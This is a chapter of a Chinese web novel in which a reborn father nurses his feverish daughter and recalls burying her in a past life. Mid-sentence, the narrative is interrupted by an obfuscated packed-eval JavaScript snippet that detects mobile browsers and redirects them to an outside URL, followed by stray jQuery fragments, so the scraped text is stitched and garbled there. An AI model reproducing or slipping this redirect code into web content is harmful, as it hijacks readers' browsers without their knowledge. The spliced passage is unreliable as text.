第六章
哪怕谢时禾退了烧,谢逢野还是要请大夫来给闺女看看。
起码家中要备一些小孩子常用的药。
谢逢野又给闺女喂了点米汤:“锅里有煮好的鸡蛋和红薯,饿了就先垫垫,大郎我不在家,你不许动灶台知道吗?”
谢时安本来想说自己会烧火做饭,可是对上他爹的眼神,还是乖乖应了下来。
谢逢野叮嘱:“隔半个时辰给你妹妹喂一次米汤,爹去请大夫,一会就回来。”
谢时安保证道:“爹放心,我会照顾好弟弟和妹妹的。”
“大郎也得照顾好自己。”谢逢野揪过凑到床上去看闺女的二儿子,“你也在家,不要乱跑,听你……”
没等谢逢野说完,谢时珩就接话:“要听大哥的话,爹你放心。”
谢逢野拍了谢时珩脑袋一下,就拿了灌满的水袋怀里揣了两个红薯出发了。
只是谢逢野走到半路,就被许家的马车追上了。
许斌从马车上下来:“我去请大夫来,你回家好好看着三个孩子。”
谢逢野听见马车的动静就已经猜到来人了,会来村中的马车只有许家的:“你怎么来了?不好好在家守着。”
柳知桃这一胎怀的并不稳,还因为谢时禾失踪的事情动了胎气,许斌不在家守着,一大早来他们这里干什么?而且许斌的马车是从后面赶来的,想来是先去了他家中。
许斌已经下来:“桃娘担心孩子的情况,让我来送些东西,我才知道囡囡昨晚梦魇发了热。”解释了一句后,继续说道,“你脚还没好,先回家去,我去请了大夫来。”
谢逢野闻言道了谢,也没有逞强:“多谢。”
许斌看着谢逢野哪怕成了三个孩子的爹,依旧俊美的脸心中有些嫉妒:“你赶紧回去看着孩子,可别让孩子再出事,桃娘会担心的。”
谢逢野再次道谢,让开了位置。
许斌身高不如谢逢野还有些胖,被扶着上了马车。
车夫对着谢逢野点了下头,这才驾车往城中去了。
谢逢野回家的时候,谢时禾已经醒来了,因为哥哥们都不许她出门,这会正在屋中的大炕上玩九连环。
陈勇正在帮忙弄鸡窝,见到谢逢野乐呵呵地说道:“之前让你养点鸡鸭在家里,不仅能卖钱,还可以给孩子们吃点蛋,你一直不愿意弄,怎么想通了?”
谢时珩围着陈勇转来转去,在一旁帮忙:“爹说喂鸡、打扫鸡窝都让我干。”
陈勇刚掏了鸟窝,想着送来给谢逢野一家补补身体,就被谢时珩缠着弄鸡窝了,他之前还想着经历了囡囡的事情,他兄弟终于肯正经过日子,没想到是把活都扔给儿子。
谢时安听到谢逢野回来,交代了妹妹几句就先从屋里出来,把许斌送来了什么东西都和谢逢野说了一声。
有米面、一筐鸡蛋、两只老母鸡、还有一些肉。
谢时安已经把东西放好了:“许叔说难得遇到卖牛肉的,一大早就让人去守着买了些,给我们送些点尝尝鲜,只是有些老了,要多炖一会。”
朝廷是不允许宰杀耕牛的,被发现是要判刑的,还都是重罪。
只能等耕牛老死或者出意外死了,官府的人确定后才允许卖。
耕牛价贵,每家都宝贝得紧,他们这边一年都难遇到一次卖牛肉的。
谢逢野一听当即说道:“那我去把牛肉炖上,勇子中午直接留下来吃饭。”
陈勇也不和谢逢野客气:“我早就想着你的手艺了。”
谢逢野有千般不好,可他的手艺是极好的。
谢时珩正在给陈勇端水:“爹,我也要吃。”
谢时禾在屋中听到动静,趴在窗户上探出脑袋,先是开开心心叫了一声爹:“囡囡也吃。”
谢逢野一口应了下来,把东西放下后,先进屋摸了摸谢时禾的额头,确定不热了叮嘱:“不许往外探身子,万一摔下去磕着脑袋了怎么办?”
谢时禾才退烧,精神不算特别好,被谢逢野一摸头,就把自己脑袋埋进了他的大手里嘟嘟囔囔说道:“囡囡被抓走了,好黑,我使劲哭使劲跑,就是回不来。”
谢逢野坐在床上,看着委屈模样的谢时禾:“囡囡是做噩梦了,不要怕,爹和哥哥们都在陪着你。”
谢时禾手里抓着九连环,靠在她爹怀里继续玩着九连环:“我听见爹叫我了,我就跟着爹的声音找到家了。”
上辈子谢逢野去过京郊一处香火算不得特别旺盛的寺庙。
寺庙的住持不过二十七八容貌不凡,最初谢逢野会去,只是不想和他那些所谓的兄弟参和。
谢逢野和其他人一样,觉得真正有本事的和尚都该是老和尚了,这样容貌和年龄的和尚一看就不靠谱。
可那年轻的住持在见到谢逢野后,就直接说道:“你命中本该有一女。”
一句话让谢逢野留了下来。
谢逢野拿出了许多的钱,请这位住持为早逝的女儿点了长明灯,更是拿了女儿仅剩的旧衣请住持做了法事:“我寻不到囡囡的尸骨,她只有衣冠冢。”
他的女儿死的太早,连尸骨都寻不到,他想要为女儿要一个封号都没有。
那些人说,他女儿早殇,无牌位、不入祠堂、不上族谱、不能立碑、没有祭祀,甚至连下葬只都能用薄木小棺,上面不允许上漆、不允许雕刻更不允许有任何装饰和陪葬。
谢逢野如何愿意,他给自己女儿下葬,这些无关的人凭什么指指点点,凭什么弹劾他,甚至各种阻拦。
所以谢逢野做了一件让他皇帝爹震怒的事情,他闯进了那些阻止他的人家中,把他们祖宗牌位都给砸了。
谢逢野被打了五十大板,如果他不是皇帝的儿子,如果没有皇帝特意派了心腹盯着行刑者,他怕是直接被打死了,而不是只受了一些皮外伤。
五十大板后,鲜血淋淋的谢逢野在两个儿子的搀扶下看着那些官员:“派人守好你们的祖坟,你们既敢阻我,就做好被我刨了祖坟的准备。”
谢逢野双眼满是血丝,说话的时候牙齿上都是血,更像是弑人的恶鬼:“老子叫你们祖宗十八代都无地可归!”
皇帝打都打了,着实拿这个犯浑的儿子没办法,难不成真为了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487931|202109||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别人家的牌位杀了自己的儿子?
如果是那种没实权的皇帝在权臣的逼迫下还可能这般,可他是开国皇帝,再说他儿子想做的也不是伤天害理的事情,只是想给他可怜的孙女弄个衣冠冢罢了。
皇帝甚至对着跪在殿前让他严惩谢逢野的大臣说道:“你们非惹他干什么?”
有人怒而辞官,皇帝意思性的挽留了一下,就批准了。
最后所有人对于谢逢野的行为都是睁一只眼闭一只眼。
谢逢野带着两个儿子为自己早逝的女儿办了丧事,却不似旁人所想大修墓地,而是用他能寻到最好的木头打了棺材,上面刻着女儿生前最喜欢的各种小动物,而棺材里面只放了衣服和玩具,棺材是埋在他为自己选的墓地里。
他交代了两个儿子:“囡囡胆小怕黑,她那么小,万一被孤魂野鬼欺负了也不好,就埋在我的身边,等我百年以后,有我一份就少不了囡囡的,你们记得交代后人,烧纸的时候多烧一些小孩子喜欢的东西。”
谢逢野宝贝自己早殇女儿的事情并不是秘密,这个年轻住持知道也不奇怪,可他说话好听,囡囡本来就该是他的女儿:“你能做法,帮我找到囡囡的尸骨吗?我愿捐赠千金。”
年轻的住持摇了摇头,他没说那孩子早就尸骨无存:“你们父女缘分未了,迟早会再见的。”
因为住持这一句话,谢逢野决定以后都来这个寺庙,甚至在他大权在握的时候,把这家名不见经传的寺庙封为了皇家寺庙,不是相信这个和尚,更不是信佛,而是他喜欢年轻住持说的那句话。
谢逢野看着乖乖坐在他怀里,努力想要解开九连环的闺女,后知后觉的意识到一件事:“那和尚竟然不是骗子。”
因为谢逢野的声音太小,谢时禾没有听清楚,疑惑地抬头:“爹?”
谢逢野没有告诉闺女那些事情,只是小声说道:“等以后爹带你去见一个很有意思的和尚,他做的素斋很好吃,是我吃过最像肉的。”
谢时禾有些疑惑:“那为什么不直接吃肉肉?”
为什么不直接吃肉?
谢逢野笑着戳了下闺女的脸颊:“我家囡囡好聪明,那以后我们直接吃肉。”
谢时禾咧嘴笑了起来,看起来又乖又傻。
谢逢野见到谢时安进来了:“大郎也无需太辛苦,这里有爹看着。”
谢时安指着桌子上的书籍和笔墨:“妹妹很乖,我在这里温书。”
谢逢野一看书就觉得头疼,赶紧说道:“那我去炖肉。”
谢时安应了下来,见到妹妹坐在床上巴巴地望着自己,就把妹妹抱了过来:“囡囡还记得哥哥教你的《三字经》吗?”
爹过于不稳妥,小小年纪的谢时安就肩负起了教导弟弟妹妹的重任。
谢时禾胖乎乎的小手还拿着九连环,她低头看了看九连环,想了想还是把心爱的九连环放到桌子上,小手老老实实放在腿上:“人之初,性本善。性相近,□□。苟不叫,性乃迁。”背到这里,谢时禾停了下来,有些疑惑地问道,“哥,为什么狗不叫,性乃迁,狗狗不叫,猫猫叫可以吗?”